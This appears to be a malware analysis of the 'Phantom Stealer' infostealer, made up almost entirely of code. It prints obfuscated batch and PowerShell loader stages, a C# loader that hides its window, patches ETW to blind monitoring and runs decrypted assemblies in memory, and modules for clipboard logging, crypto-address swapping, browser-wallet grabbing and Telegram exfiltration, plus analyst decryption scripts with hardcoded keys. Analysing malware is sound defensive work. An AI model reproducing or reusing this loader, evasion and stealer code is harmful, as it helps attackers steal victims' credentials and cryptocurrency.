The Anatomy of Phantom Stealer

copy "%pjga%" "%userprofile%\a%JUNKSTRING%oc%JUNKSTRING%.%JUNKSTRING%b%JUNKSTRING%at%JUNKSTRING%"

set "hrjbf=s"
set "suykw=t"
set "pnvwn=!hrjbf!e!suykw!"   :: resolves to "set"
!pnvwn! "%JUNK%h%JUNK%d%JUNK%q...%JUNK%g=eerdxmSQB2ADEAdgBqAG4AdgB3AFcATw"

$banana = "$env:USERPROFILE\aoc.bat"
if (Test-Path $banana) {
    $rawLines = gc $banana | ?{ $_ -like ":::*" }
    $part1 = ($rawLines | ?{ $_ -like ":::1*" } | %{ $_.Substring(4) })
    $part2 = ($rawLines | ?{ $_ -like ":::2*" } | %{ $_.Substring(4) })
    $part3 = ($rawLines | ?{ $_ -like ":::3*" } | %{ $_.Substring(4) })
    $kiwi  = $part1 + $part2 + $part3
    $apple = ($kiwi -replace "[~#@]","" -replace "honztjnlbyrqzwr","")
    if ($apple) {
        try { iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($apple))) } catch {}
    }
}

$orange    = 'H4sIAAAAAAAEAJVU21LbMBD9FU3...<snip>...'
$mango     = [Convert]::FromBase64String($orange)
$pineapple = New-Object IO.MemoryStream(,$mango)
iex(New-Object IO.StreamReader(
    New-Object IO.Compression.GZipStream($pineapple, [IO.Compression.CompressionMode]::Decompress)
)).ReadToEnd()

# Environmental keying
$apnvg = $env:USERNAME
$oacgu = "C:\Users\$apnvg\aoc.bat"

# AES-256-CBC decryption
$aes_var.Key = [System.Convert]::FromBase64String('vaCr+YhSnIbaC2J3vIV59awQ/jO3jeE5N7elhFXP+6c=')
$aes_var.IV  = [System.Convert]::FromBase64String('HPYz0dT6mEVO9DF1SUlE3g==')

# GZip decompress
$rnvqd = New-Object System.IO.Compression.GZipStream($rkhki, [IO.Compression.CompressionMode]::Decompress)

# In-memory .NET assembly execution via Reflection
$exqip = [System.Reflection.Assembly]::Load([byte[]]$param_var)
$pcsyp = $exqip.EntryPoint
$pcsyp.Invoke($null, $param2_var)

import base64
import gzip
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import sys
import os

def decrypt_aes(encrypted_data):
    key = base64.b64decode('vaCr+YhSnIbaC2J3vIV59awQ/jO3jeE5N7elhFXP+6c=')
    iv  = base64.b64decode('HPYz0dT6mEVO9DF1SUlE3g==')
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(encrypted_data), AES.block_size)

def decompress_gzip(data):
    return gzip.decompress(data)

def parse_aoc_bat(file_path):
    with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
        lines = f.readlines()
    for line in lines:
        if line.startswith(':: '):
            return line[3:].strip().split('\\')
    return None

def extract_stage2_payload(file_path):
    with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
        lines = f.readlines()
    raw_lines = [l.strip() for l in lines if l.startswith(':::')]
    if not raw_lines:
        return None
    part1 = ''.join([l[4:] for l in raw_lines if l.startswith(':::1')])
    part2 = ''.join([l[4:] for l in raw_lines if l.startswith(':::2')])
    part3 = ''.join([l[4:] for l in raw_lines if l.startswith(':::3')])
    cleaned = (part1+part2+part3).replace("~","").replace("#","").replace("@","").replace("honztjnlbyrqzwr","")
    if cleaned:
        try:
            return base64.b64decode(cleaned).decode('utf-16-le')
        except Exception as e:
            print(f"[!] Stage 2 decode error: {e}")
    return None

def main():
    bat_file = sys.argv[1] if len(sys.argv) > 1 else f"C:\\Users\\{os.getenv('USERNAME')}\\aoc.bat"
    print(f"[*] Analyzing: {bat_file}")
    if not os.path.exists(bat_file):
        print(f"[!] File not found: {bat_file}"); return

    print("\n[=== STAGE 2 ===]")
    s2 = extract_stage2_payload(bat_file)
    if s2:
        print(s2)

    print("\n[=== STAGE 3 DECRYPTION ===]")
    parts = parse_aoc_bat(bat_file)
    if parts:
        for i, part in enumerate(parts):
            try:
                decrypted   = decrypt_aes(base64.b64decode(part))
                decompressed = decompress_gzip(decrypted)
                out = f"decrypted_part_{i+1}.bin"
                open(out,'wb').write(decompressed)
                ftype = "PE" if decompressed[:2]==b'MZ' else decompressed[:16].hex()
                print(f"[+] Part {i+1} → {out} ({len(decompressed)} bytes, {ftype})")
            except Exception as e:
                print(f"[!] Part {i+1} failed: {e}")

if __name__ == "__main__":
    main()

python decrypt_aoc.py aoc.bat

private static void Main(string[] args)
{
    // Phase 1: Go undercover
    IntPtr consoleWindow = GetConsoleWindow();
    ShowWindow(consoleWindow, SW_HIDE);
    Process.GetCurrentProcess().PriorityClass = ProcessPriorityClass.BelowNormal;

    // Phase 2: Patch ETW — blind security monitoring
    IntPtr hModule     = LoadLibrary("ntdll.dll");
    IntPtr procAddress = GetProcAddress(hModule, "EtwEventWrite");
    byte[] patchBytes  = (IntPtr.Size == 8) ? new byte[] { 195 } : new byte[] { 194, 20, 0 };
    VirtualProtect(procAddress, (UIntPtr)patchBytes.Length, PAGE_EXECUTE_READWRITE, out flNewProtect);
    Marshal.Copy(patchBytes, 0, procAddress, patchBytes.Length);

    // Phase 3: Extract and run embedded tools
    string[] resourceNames = Assembly.GetExecutingAssembly().GetManifestResourceNames();
    foreach (string name in resourceNames)
    {
        if ((name.EndsWith(".exe") || name.EndsWith(".bat")) && name != "xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exe")
        {
            byte[] fileData = GetResourceData(name);
            File.WriteAllBytes(name, fileData);
            File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System);
            new Thread(() => {
                Process.Start(name).WaitForExit();
                File.SetAttributes(name, FileAttributes.Normal);
                File.Delete(name);
            }).Start();
        }
    }

    // Phase 4: Decrypt and execute final payload
    byte[] encryptedPayload = GetResourceData("xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exe");
    byte[] decrypted        = AES_Decrypt(encryptedPayload,
        Convert.FromBase64String("R2aFZRr/mGFhMSEpI2kNPYc48WKRBlRs5A+6ZRSUUaY="),
        Convert.FromBase64String("9c9wj853LIE7TTQUk8uK6w=="));
    byte[] decompressed = GZip_Decompress(decrypted);
    Assembly.Load(decompressed).EntryPoint.Invoke(args);
}

// Locate EtwEventWrite in ntdll
IntPtr etwFunc = GetProcAddress("ntdll.dll", "EtwEventWrite");
// Mark memory as writable
VirtualProtect(etwFunc, PAGE_EXECUTE_READWRITE);
// Overwrite with RET — function returns immediately, logging disabled
byte[] patch = { 195 }; // RET (x64)
Marshal.Copy(patch, 0, etwFunc, patch.Length);

import base64
import gzip
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt_malware_payload(encrypted_file, output_file):
    AES_KEY = "R2aFZRr/mGFhMSEpI2kNPYc48WKRBlRs5A+6ZRSUUaY="
    AES_IV  = "9c9wj853LIE7TTQUk8uK6w=="

    with open(encrypted_file, 'rb') as f:
        data = f.read()

    key = base64.b64decode(AES_KEY)
    iv  = base64.b64decode(AES_IV)
    decrypted    = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(data), AES.block_size)
    decompressed = gzip.decompress(decrypted)

    with open(output_file, 'wb') as f:
        f.write(decompressed)

    ftype = "PE" if decompressed[:2]==b'MZ' else decompressed[:16].hex()
    print(f"[+] {len(decompressed)} bytes → {output_file} ({ftype})")

python decrypt_stagewhatever.py xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exe final_payload.bin

// Background thread — invisible to user
public static void Start()
{
    _clipboardThread = new Thread(ClipboardMonitor);
    _clipboardThread.IsBackground = true;
    _clipboardThread.SetApartmentState(ApartmentState.STA);
    _clipboardThread.Start();
}

// Polls every second
private static void ClipboardMonitor()
{
    while (_isRunning)
    {
        CheckClipboard();
        Thread.Sleep(1000);
    }
}

// Steals changed clipboard content
private static void CheckClipboard()
{
    if (IsClipboardFormatAvailable(1U))
    {
        OpenClipboard(IntPtr.Zero);
        IntPtr data = GetClipboardData(1U);
        string text = Marshal.PtrToStringAnsi(data);
        CloseClipboard();

        if (!string.IsNullOrEmpty(text) && text != _lastClipboardText)
        {
            _currentContent.AppendLine($"--- Clipboard Entry [{DateTime.Now}] ---");
            _currentContent.AppendLine(text);
            _wordCount += text.Split().Length;
            if (_wordCount >= 100) SaveToFile();
        }
    }
}

// Saves with machine-stamped filename
private static void SaveToFile()
{
    string filename = $"{Environment.MachineName}_{DateTime.Now:yyyyMMdd_HHmmss}.txt";
    File.WriteAllText(Path.Combine(Paths.InitWorkDir(), filename), _currentContent.ToString());
    _currentContent.Clear();
    _wordCount = 0;
}

private void ProcessClipboardContent(string clipboardContent)
{
    foreach (var pattern in RegexPatterns.PatternsList)
    {
        if (pattern.Value.IsMatch(clipboardContent))
        {
            string attackerAddress = Config.ClipperAddresses[pattern.Key];
            if (!clipboardContent.Equals(attackerAddress))
            {
                NativeClipboard.SetText(attackerAddress); // Silently swap to attacker's address
                break;
            }
        }
    }
}

string savePath = Path.Combine(Paths.InitWorkDir(), "BrowserWallets", "Grabber");
GetChromeWallets(savePath);
GetEdgeWallets(savePath);

// Encrypted bot token — decrypted at runtime
private static string TelegramBotAPI = StringsCrypt.DecryptConfig("ENCRYPTED:BncRbgTGet4L+mKqD8xxx7h8EdEcrI2Pbm5InYO5Ff/I=");

// Three exfiltration methods:
// 1. SendMessageAsync(text)     — stolen text/credentials
// 2. SendMessageInfoAsync()     — system recon data
// 3. SendReportAsync(file)      — wallet dumps, keylog files

public static string DecryptConfig(string value)
{
    if (value.StartsWith("ENCRYPTED:"))
        return StringsCrypt.Decrypt(Convert.FromBase64String(value.Replace("ENCRYPTED:", "")));
    return value;
}

// Hardcoded values extracted from binary
private static readonly byte[] SaltBytes = new byte[] {
    102,51,111,51,75,45,49,49,61,71,45,78,55,86,74,116,
    111,122,79,87,82,114,61,40,116,78,90,66,102,75,43,98,
    83,55,70,121
};
private static readonly byte[] CryptKey = new byte[] {
    59,38,75,70,33,77,33,104,56,94,105,84,58,60,41,97,
    63,126,109,88,101,78,42,126,111,63,103,78,91,118,64,114,
    81,61,66
};

public static string Decrypt(byte[] bytesToBeDecrypted)
{
    using (Aes aes = Aes.Create())
    {
        aes.KeySize = 256; aes.BlockSize = 128; aes.Mode = CipherMode.CBC;
        Rfc2898DeriveBytes pbkdf2 = new Rfc2898DeriveBytes(CryptKey, SaltBytes, 1000);
        aes.Key = pbkdf2.GetBytes(32);
        aes.IV  = pbkdf2.GetBytes(16);
        using (CryptoStream cs = new CryptoStream(memStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
            cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
        return Encoding.UTF8.GetString(memStream.ToArray());
    }
}